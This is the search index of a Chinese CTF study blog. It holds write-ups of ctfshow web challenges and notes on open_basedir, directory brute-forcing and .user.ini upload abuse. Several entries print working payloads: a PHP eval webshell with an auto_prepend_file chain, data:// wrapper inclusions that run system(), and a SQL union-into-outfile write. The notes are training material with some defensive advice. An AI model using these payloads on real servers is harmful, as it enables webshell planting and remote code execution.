[{"content":"PHP 文件访问范围限制：open_basedir 与目录边界\r问题：PHP 靠什么限制\u0026quot;可访问的目录范围\u0026quot;？ 答案：三层限制，核心是 open_basedir。\n三层限制结构\r① open_basedir（PHP 配置层 —— 主角）\rphp.ini / .user.ini / 虚拟主机配置：\nopen_basedir = /var/www/html:/tmp 作用：限制 PHP 所有文件操作能访问的目录范围 受影响的函数：fopen、file_get_contents、include、require、readfile 等 超出范围的路径访问 → 直接报错拒绝（即使系统权限允许） ⚠️ 它是目录前缀匹配，不是精确限制 → 存在绕过手法（见下） ② 系统文件权限（OS 层）\rPHP 以什么用户运行（www-data / nobody），能读哪些目录由 Linux 文件权限决定 即使没配 open_basedir，www-data 也读不了 root 的文件 ③ Web 服务器根目录（服务层）\rApache/Nginx 的 DocumentRoot 决定 URL 能访问哪些目录 web 根之外的目录通过 URL 访问不到（但 PHP 在 open_basedir 允许时仍可读） 顺带分清：disable_functions\rdisable_functions = system,exec,passthru,shell_exec 不是限制目录，是禁用危险函数 与 open_basedir 常一起考察： open_basedir → 管\u0026quot;能碰哪\u0026quot;（文件范围） disable_functions → 管\u0026quot;能执行啥\u0026quot;（函数权限） open_basedir 绕过（CTF/比赛高频考点）\r常见思路：\n/proc/self/root/\u0026lt;真实路径\u0026gt; 等价路径访问 符号链接（symlink）绕过前缀匹配 配合软链接目录跳转 通过其他语言/扩展（如 FFI、iconv、glob 等）间接读写 遇到具体题目再针对性分析，先记住\u0026quot;它是前缀匹配，有绕过空间\u0026quot;这个概念。\n一句话总结\rPHP 限制可访问目录 = open_basedir（PHP 层）+ 系统文件权限（OS 层）+ DocumentRoot（Web 层），open_basedir 是最常考的 PHP 专属限制，绕它是高频题。\n相关联想\r探针/tz.php：信息泄露 → 配合绝对路径利用 文件包含 + open_basedir：读 web 根之外文件会被拦 写 shell 时目标路径必须落在 open_basedir 允许的目录内 ","date":"2026-09-06T20:50:37+08:00","permalink":"/notes/php/php%E6%96%87%E4%BB%B6%E8%AE%BF%E9%97%AE%E8%8C%83%E5%9B%B4%E9%99%90%E5%88%B6open_basedir%E4%B8%8E%E7%9B%AE%E5%BD%95%E8%BE%B9%E7%95%8C/","title":"PHP 文件访问范围限制：open_basedir 与目录边界"},{"content":"ctfshow web20\r题号：web20 难度：⭐ 考点：信息泄露 日期：2026-9-6 题目描述\r解题思路\r根据题目描述的提示直接看即可\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-06T17:46:07+08:00","permalink":"/notes/ctf/info-collection/web20/","title":"ctfshow web20"},{"content":"ctfshow web19\r题号：web19 难度：⭐ 考点：信息收集（加密逻辑泄露） 日期：2026-9-6 题目描述\r解题思路\r前端验证， 这里用的是AES加密，参数全在js代码 中，\nmode模式： CBC padding填充方式： ZeroPadding\n密文输出编码： 十六进制hex 偏移量iv: ilove36dverymuch 密钥：0000000372619038\n密文为： a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04\n于是 可得到明文为： i_want_a_36d_girl\n接着 用户名admin密码为i_want_a_36d_girl进行登录 ，登录成功后得到flag!\nPayload / 关键操作\r打开F12找到对方的加密逻辑 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-06T16:53:34+08:00","permalink":"/notes/ctf/info-collection/web19/","title":"ctfshow web19"},{"content":"ctfshow web18\r题号：web18 难度：⭐⭐ 考点：信息收集（js泄露） 日期：2026-9-5 题目描述\r解题思路\r1.这是一个javascript 的游戏，游戏的目的就是让要赢，从js代码中可知，当score\u0026gt;120时，且game_over这个参数为false时，即可赢，于是打开开发者模式中的console，直接赋值score=130 game_over=false 然后，执行游戏 的run() 即可得到 \u0026ldquo;你赢了，去幺幺零点皮爱吃皮看看\u0026rdquo;， 即，110.php 打开它，即得flag\nPayload / 关键操作\r1.score = 150; // 顶分 game_over = true; // 触发结束 复现截图\r对应课程章节\r62JS逆向调试\n踩坑记录 / 复盘\rif(game_over == false) { 继续跑 } else { ← 要赢必须先进这个分支（game_over 得是 true！） if(score \u0026gt; 100) { 赢 } ← score 还得 \u0026gt;100 }\n","date":"2026-09-05T23:33:26+08:00","permalink":"/notes/ctf/info-collection/web18/","title":"ctfshow web18"},{"content":"ctfshow web17\r题号：web17 难度：⭐ 考点：信息收集（sql备份泄露） 日期：2026-9-5 题目描述\r解题思路\r1.根据题意得知有sql文件泄露，直接用dirsearch扫描即可 2.访问下载sql备份文件查询flag\nPayload / 关键操作\r1.目录爆破 2.查询 复现截图\r2. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-05T20:02:03+08:00","permalink":"/notes/ctf/info-collection/web17/","title":"ctfshow web17"},{"content":"ctfshow web16\r题号：web16 难度：⭐ 考点：信息收集（PHP探针） 日期：2026-9-5 题目描述\r解题思路\r1.查看源码（没有发现明显的flag）、抓包（依旧没有发现明显的flag），采用dirsearch目录爆破（爆破到了一个JS目录，但是没有权限去访问） 2.根据提示去查看tz.php 3.找到里面的phpinfo，全局搜索flag解得此题\nPayload / 关键操作\r1.dirsearch -u https://33ac2cf7-8cfb-4bf5-b024-921da3f1fac7.challenge.ctf.show/ 2.看提示 3.找到phpinfo 复现截图\r2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r探针是啥\r探针 = 开发者/运维用的\u0026quot;服务器体检脚本\u0026quot;——本质是一个 PHP 文件，访问它能显示服务器的敏感环境信息：\n泄露的信息 例子 网站绝对路径 /var/www/html/... PHP 版本 + 配置 phpinfo 级别的详细配置 系统信息 OS、CPU、内存 数据库版本 MySQL 版本 组件/扩展支持 危险函数是否开启等 常见文件名：tz.php（\u0026ldquo;探针\u0026quot;拼音）、phpinfo.php、test.php、info.php、p.php、雅黑探针/菠萝探针等。\n所有 PHP 网站都有吗？—— 不是！\r它是开发者临时上传用来调试/确认环境的工具 正规生产环境不应该存在——上线前要删 你扫到 tz.php = 两种情况： 开发者测试完忘了删（最常见，信息泄露源） 攻击者留下的（入侵后上传的探针/后门，危险！） 对渗透者意味着什么\rtz.php 是信息收集的金矿：\n绝对路径 → 配合文件包含/上传利用 PHP/组件版本 → 找已知漏洞打 危险函数（如 exec、system 开启情况）→ 判断能不能 RCE 对防守方：属于\u0026quot;测试残留文件未清理\u0026rdquo;——正好是你之前学的系统加固/安全配置检查里要查的一项（上线清单：删探针、删测试文件、删备份文件）📝\n一句话\r探针不是标配，是\u0026quot;忘删的测试工具\u0026quot;；有 = 信息泄露点 + 可疑（可能是攻击者留的）。 扫到它先确认是开发者残留还是入侵痕迹——这也是渗透测试里一个很实用的判断点 🎯\n为什么很多敏感文件不是扫出来的\r真实渗透里，tz.php、探针、隐藏后台这类文件，更多是靠线索推出来的：\n源码泄露（git/备份文件）里看到的路径 报错信息暴露的路径 robots.txt 提示 前端 JS 里引用的资源路径 别人 writeup / 指纹特征 然后直接访问验证：[http://目标/tz.php](http://xn--iwvq54a/tz.php) 扫描只是手段之一，不是万能钥匙。\n探针泄露(tz.php) PHP探针实际上是一种Web脚本程序，主要是用来探测虚拟空间、服务器的运行状况，而本质上是通过PHP语言实现探测PHP服务器敏感信息的脚本文件，通常用于探测网站目录、服务器操作系统、PHP版本、数据库版本、CPU、内存、组件支持等，基本能够很全面的了解服务器的各项信息，当开发者测试网站忘记把探针删掉以后，就会造成验证的信息泄露\n","date":"2026-09-05T12:17:37+08:00","permalink":"/notes/ctf/info-collection/web16/","title":"ctfshow web16"},{"content":"ctfshow web15\r题号：web15 难度：⭐ 考点：信息收集（基于网站信息如邮箱的信息查找） 日期：2026-9-5 题目描述\r解题思路\r1.根据题意，进入靶场翻到最下层后看到了网站管理人的邮箱地址 2.因为是qq邮箱，所以可以去qq看看这个管理人是怎么个事 3.了解完管理员的大概信息后随便翻翻网站无果就直接在网址后面加admin寻找对方后台 4.根据后台报错提示发现用户名为admin，至于密码我开始输入的是对方qq账号，然后就是123456这些弱密码，但都是错误的。思考一会儿后发现有个忘记密码，打开一看居然只要输入管理员所在城市就能重置密码，这不就和解题步骤2呼应上了，果断输入西安拿到重置密码后解得此题flag\nPayload / 关键操作\r1.根据题意找到目标邮箱 2.了解qq信息 3.找寻后台 4.输入qq了解到的信息后拿到重置的密码 复现截图\r2. ![[Pasted image 20260905112219.png|630]] 3. 4. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-05T11:28:11+08:00","permalink":"/notes/ctf/info-collection/web15/","title":"ctfshow web15"},{"content":"ctfshow web14\r题号：web14 难度：⭐ 考点：信息收集（默认路径泄露） 日期：2026-9-4 题目描述\r解题思路\r1.看到提示说有泄露重要信息“editor”，于是就去靶场里面找，发现好像并没有。然后仔细又看了下提示，发现有两个刺眼的字 “源码”。于是聪明的我就打开F12然后搜索 “editor”，发现真就给我搜索到了，发现好像是一个关于编辑的路径，于是我便打开去看看怎么个事，发现是一个编辑器。 2.我试了试里面的图片上传和文件上传，发现根本行不通。正在纠缠之际，突然看到了图片上传旁边的 “图片空间”（做完后你会发现文件上传旁边也有个文件空间，效果是一样的），打开一看发现新世界的大门，里面好像是网站的文件结构 3.然后接下来就可想而知了：直接去var/www/html里面查询网站下面的文件，然后发现flag在var/www/html/nothinghere/fl000g.txt 里面，直接去访问即可\nPayload / 关键操作\r1.全局搜索源码“editor”;访问编辑路径。 复现截图\r2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r看到编辑器的第一想法应该是去测试文件上传和图片上传\n","date":"2026-09-04T23:40:29+08:00","permalink":"/notes/ctf/info-collection/web14/","title":"ctfshow web14"},{"content":"ctfshow web13\r题号：web13 难度：⭐ 考点：信息收集（文档泄露） 日期：2026-9-4 题目描述\r解题思路\r1.根据题意进入靶场后发现是个技术文档，看了半天没有有用信息，然后翻到最下面发现那个“document”居然可以点击 2.进去后发现是后台路径与默认密码\nPayload / 关键操作\r1.找到并点击泄露文档 2.根据文档内容输入后台地址并输入账号密码 3.获得flag 复现截图\r1. 2. 3. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-04T22:44:53+08:00","permalink":"/notes/ctf/info-collection/web13/","title":"ctfshow web13"},{"content":"ctfshow web12\r题号：web12 难度：⭐ 考点：信息收集（观察网页信息） 日期：2026-9-4 题目描述\r解题思路\r根据提示，在网页的最下面观察到“Help Line Number : 372619038”疑似管理员电话\nPayload / 关键操作\r1.将发现的字符当作后台密码去尝试 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-04T15:14:04+08:00","permalink":"/notes/ctf/info-collection/web12/","title":"ctfshow web12"},{"content":"mstsc RDP远程桌面协议：3389\n","date":"2026-09-04T15:04:53+08:00","permalink":"/notes/ctf/protocol-ports/%E5%8D%8F%E8%AE%AE%E4%B8%8E%E7%AB%AF%E5%8F%A3/","title":"协议与端口"},{"content":"ctfshow web11\r题号：web11 难度：⭐ 考点：信息收集（DNS协议基础） 日期：2026-9-4 题目描述\r解题思路\r根据题意去查询域名的txt记录\nPayload / 关键操作\rnslookup -qt=txt flag.ctfshow.com 复现截图\r题目有问题\n对应课程章节\r信息收集\n踩坑记录 / 复盘\r","date":"2026-09-04T14:56:13+08:00","permalink":"/notes/ctf/info-collection/web11/","title":"ctfshow web11"},{"content":" img1 img2 img3 img4 img5 img6 img7 img8 img9 img10 img11 img12 img13 img14 img15 img16 img17 img18 img19 img20 img21 img22 img23 img24 img25 img26 ","date":"2026-09-04T11:30:00+08:00","permalink":"/album/","title":"相册"},{"content":"ctfshow web10\r题号：web10 难度：⭐ 考点：信息收集（cookie泄露） 日期：2026-9-3 题目描述\r解题思路\r根据题意想到去查看自己的cookie\nPayload / 关键操作\r进入靶场后打开F12 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r本题目是让答题者了解到cookie，cookie一般用于在身份认证的过程中保存一些信息，用于服务器来验证身份,在测试中可以尝试注入等方式。可以使用burp/F12中的网络来查看\n","date":"2026-09-03T20:38:57+08:00","permalink":"/notes/ctf/info-collection/web10/","title":"ctfshow web10"},{"content":"ctfshow web9\r题号：webXXX 难度：⭐ 考点：信息收集（vim与vi的意外泄露） 日期：2026-9-3 题目描述\r解题思路\r根据提示，在Linux生产环境上使用vim或者vi做修改时，会生成一个swp为后缀的文件\n第一次意外退出生成的是.swp 第二次意外退出生成的是.swo 第三次为.swn 因此可以尝试打开第一次退出时产生的这个文件,输入url/index.php.swp\nPayload / 关键操作\r直接去访问\u0026#34;靶场url\u0026#34;/index.php.swp 复现截图\r对应课程章节\r信息收集\n踩坑记录 / 复盘\r知道 vim/vi 的特性\n本题目的是让答题者了解到vim编辑器使用时会有一个缓存文件，这个缓存文件在保存时进行删除，但是在vim意外退出时这个缓存文件，会以源文件加一个.swp后缀进行保存，我们可以尝试访问这些文件来尝试获取一些文件。\n","date":"2026-09-03T20:34:15+08:00","permalink":"/notes/ctf/info-collection/web9/","title":"ctfshow web9"},{"content":"ctfshow web175\r题号：web175 难度：⭐⭐ 考点：SQL注入（SQL文件读写） 日期：2026-9-2 题目描述\r正则基本过滤了ascii码的全部可见字符\n解题思路\r1.因为正常想好像没有任何思路，就想着直接看这题是否能进行文件读写（虽然没用判断权限是否为root，但是你在没用思路的时候可以先试试，万一呢？），发现是真的可以进行文件读写的操作，那还说啥了，往里干就行了！直接构造payload创建文件将flag写入其中 2.访问读取即可\nPayload / 关键操作\r1.123\u0026#39; union select username, password from ctfshow_user5 into outfile \u0026#39;/var/www/html/flag.txt\u0026#39; %23 2.直接访问 复现截图\r2.\n对应课程章节\rSQL注入\n踩坑记录 / 复盘\r1.\n","date":"2026-09-02T22:57:29+08:00","permalink":"/notes/ctf/sql-injection/web175/","title":"ctfshow web175"},{"content":"\n","date":"2026-09-02T20:24:37+08:00","permalink":"/notes/ctf/file-upload/a%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E7%9A%84%E6%80%BB%E7%BB%93/","title":"a文件上传的总结"},{"content":"ctfshow web154\r题号：web154 难度：⭐⭐ 考点：文件上传（你真的了解\u0026quot;.user.ini\u0026quot;吗） 日期：2026-9-2 题目描述\r解题思路\r[[Web153|[\u0026ldquo;Web153\u0026rdquo;,\u0026ldquo;文件上传\u0026rdquo;]]] 和153解题基本一样，就是多了个检查图片内容（应该是过滤了php），可以参考下图对一句话木马进行修改 Payload / 关键操作\r/?1=system(\u0026#34;tac ../flag.php\u0026#34;); 复现截图\r对应课程章节\r文件上传\n踩坑记录 / 复盘\r","date":"2026-09-02T17:31:03+08:00","permalink":"/notes/ctf/file-upload/web154/","title":"ctfshow web154"},{"content":"ctfshow web153\r题号：web153 难度：⭐⭐ 考点：文件上传（你真的理解了 \u0026ldquo;.user.ini\u0026quot;吗？） 日期：2026-9-2 题目描述\r解题思路\rPayload / 关键操作\r/?1=system(\u0026#34;tac ../flag.php\u0026#34;); 复现截图\r对应课程章节\r文件上传\n踩坑记录 / 复盘\r去看[[user.ini原理与上传解析路线]]\n","date":"2026-09-02T15:48:31+08:00","permalink":"/notes/ctf/file-upload/web153/","title":"ctfshow web153"},{"content":".user.ini 原理与文件上传解析路线\r适用：文件上传题（黑名单校验被绕过但\u0026quot;解析不了\u0026quot;时） 核心认知：先认服务器类型，再选上传利用方式\n一、上传解析的两个\u0026quot;配置文件\u0026quot;是谁在处理\r文件 谁读它 生效条件 .htaccess Apache（Web 服务器） Apache + AllowOverride 开启 .user.ini PHP（CGI/FastCGI 模式） php-fpm 跑 PHP（nginx 或 Apache + php-fpm） 关键点：\nnginx 根本不认 .htaccess（nginx 没有这个机制，配置全在 nginx.conf） Apache + mod_php 不读 .user.ini（不是 CGI 模式） 环境 优先试哪个 Apache .htaccess nginx + php-fpm .user.ini（本文重点） 怎么判断服务器：看响应头 Server: Apache/2.x 还是 nginx；或传 .phP 只下载不执行 → 基本是 nginx + php-fpm。\n二、.user.ini 是什么（原理）\r.user.ini = PHP 的\u0026quot;目录级配置文件\u0026quot;（类似 .htaccess 但由 PHP 自己管）。\n生效模式：CGI/FastCGI（nginx + php-fpm、Apache + php-fpm 都算） 文件名默认就是 .user.ini（php.ini 的 user_ini.filename，可改） 放在哪个目录 → 只对该目录下的 PHP 文件生效（含子目录） 关键指令：auto_prepend_file\rauto_prepend_file=shell.png 效果：该目录下每个 PHP 文件被请求时，执行前都会先自动 include 指定的文件。\n→ 如果指定的文件内容是你的 PHP webshell（哪怕后缀是 .png）， → 那么访问该目录里任意一个 .php（比如 index.php），都会先执行你的代码！\n还有配套的 auto_append_file（执行后自动包含），用法同理。\n三、.user.ini 攻击用法（完整链条）\r前提\r上传校验是黑名单（只挡已知危险后缀，能传任意名文件） 能上传 .user.ini（点开头 + 黑名单没挡） 上传目录里有可访问的 .php 文件（用于触发 auto_prepend_file） 步骤\r① 上传 .user.ini，内容： auto_prepend_file=shell.png ② 上传 shell.png，内容： \u0026lt;?php @eval($_GET[1]);?\u0026gt; ③ 访问该目录下任意 .php（如 /upload/index.php） → PHP 自动先包含 shell.png → 你的 webshell 执行 ④ 执行命令： /upload/index.php?1=system(\u0026#34;tac ../flag.php\u0026#34;); 为什么这样能绕过\u0026quot;解析不了\u0026quot;的问题\r错误路线（.phP 大小写） 正确路线（.user.ini） 依赖\u0026quot;服务器把 .phP 当 PHP 解析\u0026quot; 依赖\u0026quot;PHP 主动包含 .png 文件\u0026quot; 服务器只认小写 .php → 不解析 → 只下载 auto_prepend_file 让任意后缀被当 PHP 执行 看服务器脸色 ❌ 不依赖后缀，自己说了算 ✅ 核心：.phP 是\u0026quot;骗解析器\u0026quot;，.user.ini 是\u0026quot;让 PHP 自己加载你的文件\u0026quot;。\n四、为什么 .phP 上传成功但访问只下载\r上传成功 = 过滤器只查小写\u0026#34;php\u0026#34;字符串，.phP 绕过字符串检查 ✅ 访问只下载 = 服务器处理器匹配大小写敏感： nginx location ~ \\.php$ （默认区分大小写） → .phP 不交给 PHP 解析 → 当普通文件 → 强制下载（Content-Disposition: attachment） 提示：Windows 服务器文件系统大小写不敏感，.phP 可能被当成 .php 执行；Linux + nginx 大小写敏感 → 只下载——这本身是\u0026quot;该走 .user.ini\u0026quot;的信号。\n五、上传题判定流程（定方向）\r1. 看响应头 / 传 .phP 测试 → 判断 Apache 还是 nginx+php-fpm 2. 试传 shell.php → 失败；shell.png / shell.a → 成功 → 说明是黑名单校验（只挡已知后缀） 3. 黑名单 + 能传任意名 → 试 .user.ini（nginx+php-fpm）或 .htaccess（Apache） 4. .user.ini: auto_prepend_file=shell.png + 传 shell.png webshell 5. 访问目录里任意 .php 触发 → ?1=system(...) → flag 六、防御视角（知道原理就会防）\r上传校验别用黑名单（改白名单：只允许图片/文档白名单后缀） 上传目录禁止执行 PHP（nginx 配置 location 里 fastcgi 只给白名单后缀） 禁用/改名 .user.ini：php.ini 里 user_ini.filename= 设为空或改名 上传文件名随机化，禁止点开头文件（.user.ini 这种） 记忆口诀\r黑名单能传任意名，看服务器选入口：Apache 上 .htaccess，nginx 上 .user.ini；prepend 一设，png 也变 shell。\n速查表持续补充，实战遇到新上传姿势随时更新。\n","date":"2026-09-02T14:54:29+08:00","permalink":"/notes/ctf/file-upload/user.ini%E5%8E%9F%E7%90%86%E4%B8%8E%E4%B8%8A%E4%BC%A0%E8%A7%A3%E6%9E%90%E8%B7%AF%E7%BA%BF/","title":".user.ini 原理与文件上传解析路线"},{"content":"ctfshow web82\r题号：web82 难度：⭐~⭐⭐⭐ 考点：如 SQL 注入（无回显） 日期：YYYY-MM-DD 题目描述\r（题目给了什么环境、什么提示）\n解题思路\r（从哪步开始想的，怎么一步步走到答案）\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r（截图放这里，说明是哪一步的）\n对应小迪课程章节\r（如：Web攻防-命令执行，方便回头复习）\n踩坑记录 / 复盘\r（卡在哪了、绕了什么弯、下次遇到要注意什么）\n","date":"2026-09-02T14:03:57+08:00","permalink":"/notes/ctf/file-inclusion/web82/","title":"ctfshow web82"},{"content":"ctfshow web37\r题号：web37 难度：⭐ 考点：命令执行 日期：2026-9-2 题目描述\r解题思路\r1.因为是文件包含，所以想到伪协议。又因为过滤了flag，就用占位符替代\nPayload / 关键操作\r1.?c=data://text/plain,\u0026lt;?php system(\u0026#39;tac fla?.php\u0026#39;) ?\u0026gt; 复现截图\r对应课程章节\r命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T12:15:02+08:00","permalink":"/notes/ctf/command-execution/web37/","title":"ctfshow web37"},{"content":"ctfshow web36\r题号：web36 难度：⭐ 考点：文件包含（配合伪协议） 日期：2026-9-2 题目描述\r解题思路\r1.真就一招鲜吃遍天，和Web35基本一样，就是因为过滤了数字所以将数字的参数改成字母就行了\nPayload / 关键操作\r1.[[Web35|[\u0026#34;Web35\u0026#34;,\u0026#34;命令执行\u0026#34;]]] 复现截图\r对应小迪课程章节\r踩坑记录 / 复盘\r无\n","date":"2026-09-02T10:57:04+08:00","permalink":"/notes/ctf/command-execution/web36/","title":"ctfshow web36"},{"content":"ctfshow web7-8\r题号：web7-8 难度：⭐ 考点：信息收集（.git 泄露与利用） 日期：2026-9-2 题目描述\r解题思路\r1.直接放图吧： Payload / 关键操作\r访问.git即可 复现截图\r靶场7： 靶场8： 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T10:33:26+08:00","permalink":"/notes/ctf/info-collection/web7-8/","title":"ctfshow web7-8"},{"content":"ctfshow web6\r题号：web6 难度：⭐ 考点：信息收集（压缩文件遗留） 日期：2026-9-2 题目描述\r解题思路\r1.根据题目提示猜测靶场存在网站源码压缩文件，所以得用目录爆破将其找出 2.直接爆破访问下载解压即可\nPayload / 关键操作\r1.爆破 复现截图\r1. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r无\n","date":"2026-09-02T09:59:09+08:00","permalink":"/notes/ctf/info-collection/web6/","title":"ctfshow web6"},{"content":" 🎬 欢迎来到「七次必胜的决心」放映室\n七次胜负，七次坚持——哪怕只剩一线希望，也绝不轻言放弃。\n这是他们的故事，也是「必胜的决心」的意义。\n愿这份决心，也能传递给你。\n《护国的无垢之心》\nYour browser doesn't support HTML5 video. Here is a link to the video instead. 《少年的孤誓》\nYour browser doesn't support HTML5 video. Here is a link to the video instead. 💡 点击播放键开始观看，支持全屏播放\n","date":"2026-09-01T20:05:00+08:00","permalink":"/%E4%B8%83%E6%AC%A1%E5%BF%85%E8%83%9C%E7%9A%84%E5%86%B3%E5%BF%83/","title":"The Determination to Win Seven Times"},{"content":"ctfshow web35\r题号：web35 难度：⭐ 考点：命令执行配合伪协议 日期：2026-9-1 题目描述\r解题思路\r1.还是和Web34一样的操作\nPayload / 关键操作\r1.?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-01T19:02:08+08:00","permalink":"/notes/ctf/command-execution/web35/","title":"ctfshow web35"},{"content":"ctfshow web34\r题号：web34 难度：⭐ 考点：命令执行（配合伪协议） 日期：2026-9-1 题目描述\r解题思路\r1.和Web33.32还是一样构造文件包含配合伪协议即可\nPayload / 关键操作\r1./?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r对应小迪课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-09-01T13:55:37+08:00","permalink":"/notes/ctf/command-execution/web34/","title":"ctfshow web34"},{"content":"ctfshow web5\r题号：web5 难度：⭐ 考点：信息收集 日期：2026-9-1 题目描述\r解题思路\r1.题目开始就说了有源码泄露，说明可能有某个目录带有源码文件，所以可以使用扫描工具去试试 2.找到index.php后访问发现虽然是首页但是并没用报错，回想题目说phps可能对我们有帮助，于是尝试去访问index.phps\nPayload / 关键操作\r（贴出关键 payload 或命令） 复现截图\r2.\n对应课程章节\r信息收集\n踩坑记录 / 复盘\r可以去看看信息泄露的 “目录爆破与目标类型判断”\n","date":"2026-09-01T13:45:13+08:00","permalink":"/notes/ctf/info-collection/web5/","title":"ctfshow web5"},{"content":"目录爆破与目标类型判断\r适用：Web 目录扫描（dirsearch）、源码泄露探测 核心认知：先判断目标类型，再决定用不用目录爆破——工具是死的，判断是活的\n一、为什么有时候\u0026quot;扫不出结果\u0026quot;？（dirsearch 的过滤机制）\rdirsearch 扫描前会做通配响应（wildcard）检测：\n1. 请求几个随机路径，看目标是否\u0026#34;catch-all\u0026#34;（对不存在的路径也返回 200 同页面） 2. 如果检测到 → 建立\u0026#34;通配画像\u0026#34; 3. 扫描时：响应和通配画像【相似度≥90%】→ 判定为无效 → 静默过滤，不报告 结果：遇到 catch-all 站点，所有\u0026quot;和首页长得一样\u0026quot;的路径都被吞掉 → 看起来\u0026quot;什么都没扫到\u0026quot;。\n这是防噪音设计（否则 catch-all 站会报几千条假结果），不是工具坏了。\n二、目标类型判断（花 3 秒，先做这步！）\rcurl -o nul -w \u0026#34;%{http_code} %{size_download}\u0026#34; https://目标/随便不存在的xyz123 curl -o nul -w \u0026#34;%{http_code} %{size_download}\u0026#34; https://目标/ 结果 结论 该干嘛 随机路径 404 / 大小不同 ✅ 正常站点 dirsearch 放心扫，能出结果 随机路径 200 且大小一样 ⚠️ catch-all 目录爆破意义不大，换思路 catch-all 站点的正确思路：源码审计（看主页源码/JS）、参数探测、伪协议、手动试常见文件名。\n三、dirsearch 正确用法\r# 基本（正常站点） dirsearch -u http://目标 -e php,txt,zip,bak -x 403 -t 20 # 指定字典 dirsearch -u http://目标 -w 字典.txt -e php # 强制显示指定状态码（辅助判断） dirsearch -u http://目标 -e php -i 200,301,302,401,403 # 中断后恢复 # Ctrl+C → [q]uit 退出 → [s]ave 保存会话 → 下次 --resume 会话文件 继续 注意：默认字典（dicc.txt）没有 .phps 条目——扫 .phps 要 -e php,phps 或自定义字典。\n四、源码泄露文件类型（PHP 站必试清单）\rindex.phps ← 直接显示高亮源码（重点！） index.php.bak ← 备份文件 index.php~ ← vim 备份 index.php.swp ← vim 交换文件 index.php.txt ← 改名保存 index.php.old ← 旧版本 原理：.php 被执行看不到源码；.phps 被 Web 服务器配置映射为源码显示（Apache AddType application/x-httpd-php-source .phps，nginx 同理）——访问直接看高亮源码。这是开发者/出题人常留的\u0026quot;后门\u0026quot;，等于主动泄露。\n五、工具对比\r工具 特点 适合 dirsearch 好用，有 wildcard 过滤（会吞相似内容） 正常站点、CTF ffuf 快，参数灵活（-ac 自动校准可关） 进阶、复杂场景 gobuster 老实，行为简单 想避开相似度过滤时 手动 curl 永远最可靠 试已知文件名时 六、实战流程（照这个走）\r1. curl 随机路径 → 判断目标类型（正常 / catch-all） 2. 正常 → dirsearch 扫（-e 加全扩展名） 3. catch-all → 手动试源码泄露文件 + 分析主页 4. 扫出结果 → 200/301 重点看；403 存在但被拦 5. 扫不出 → 不是坏事，说明没隐藏文件，转源码审计/参数探测 记忆口诀\r先探类型再爆破，catch-all 换思路；源码泄露试 phps，手动 curl 最可靠。\n速查表持续补充，实战遇到新技巧随时更新。\n","date":"2026-09-01T13:15:49+08:00","permalink":"/notes/ctf/info-leak/%E7%9B%AE%E5%BD%95%E7%88%86%E7%A0%B4%E4%B8%8E%E7%9B%AE%E6%A0%87%E7%B1%BB%E5%9E%8B%E5%88%A4%E6%96%AD/","title":"目录爆破与目标类型判断"},{"content":"ctfshow web4\r题号：web4 难度：⭐ 考点：信息收集 日期：2026-9-1 题目描述\r解题思路\r1.看到了题目给我提示，于是就去robots看看 2.发现果然存在关于flag的文件后便再次打开此文件查询flag\nPayload / 关键操作\r1.在url后面加上robots.txt路径 2.在url后面加上flagishere.txt 复现截图\r1. 2. 对应课程章节\r信息收集\n踩坑记录 / 复盘\r![[Pasted image 20260901115846.png|564]] ![[Pasted image 20260901115906.png|565]] ","date":"2026-09-01T11:59:42+08:00","permalink":"/notes/ctf/info-collection/web4/","title":"ctfshow web4"},{"content":"ctfshow web152\r题号：web152 难度：⭐ 考点：文件上传（不严谨的后端校验） 日期：2026-8-31 题目描述\r根据题意是一个“不严谨”的后端校验\n解题思路\r这题就不演示了，作者是真不知道这后端是校验了个啥，用151一样的步骤直接就成功了，估计是校验了content-type把\nPayload / 关键操作\r复现截图\r对应课程章节\r踩坑记录 / 复盘\r","date":"2026-08-31T20:33:25+08:00","permalink":"/notes/ctf/file-upload/web152/","title":"ctfshow web152"},{"content":"ctfshow web151\r题号：web151 难度：⭐ 考点：文件上传（前端验证绕过） 日期：2026-8-31 题目描述\r简单的文件上传\n解题思路\r1.题目信息给到你说“前端验证不可靠”，说明此题是前端验证的文件上传。这里你可以试想下，如果题目没给到你，你该如何判断这是为前端验证呢？1.通过浏览器右键检查看看是否有关于验证文件信息的代码 2. 打开代理抓包后尝试上传一个错误文件，如果burp并没用抓到包浏览器也弹出来了不可以上传此类型文件，说明你上传的文件根本没用经过对方服务器端的校验而是直接在前端就完成校验了。 2.知道对方是前端校验后我们就可以先生成个后门文件，然后将其后缀php先改成正确文件后缀，如png 3.打开抓包，将上传改造后的后门文件的数据包抓住并将后缀改回php 4.访问对应路径执行后用哥斯拉尝试连接并查找flag\nPayload / 关键操作\r1.打开代理burp进行验证 2.通过哥斯拉生成后门文件，然后将其改成png后缀 3.改回后缀 4.找flag 复现截图\r![[Pasted image 20260831201812.png|448]] 3. ![[Pasted image 20260831202100.png|552]] 4. ![[Pasted image 20260831202443.png|555]]\n对应课程章节\r文件上传\n踩坑记录 / 复盘\r无\n","date":"2026-08-31T20:25:17+08:00","permalink":"/notes/ctf/file-upload/web151/","title":"ctfshow 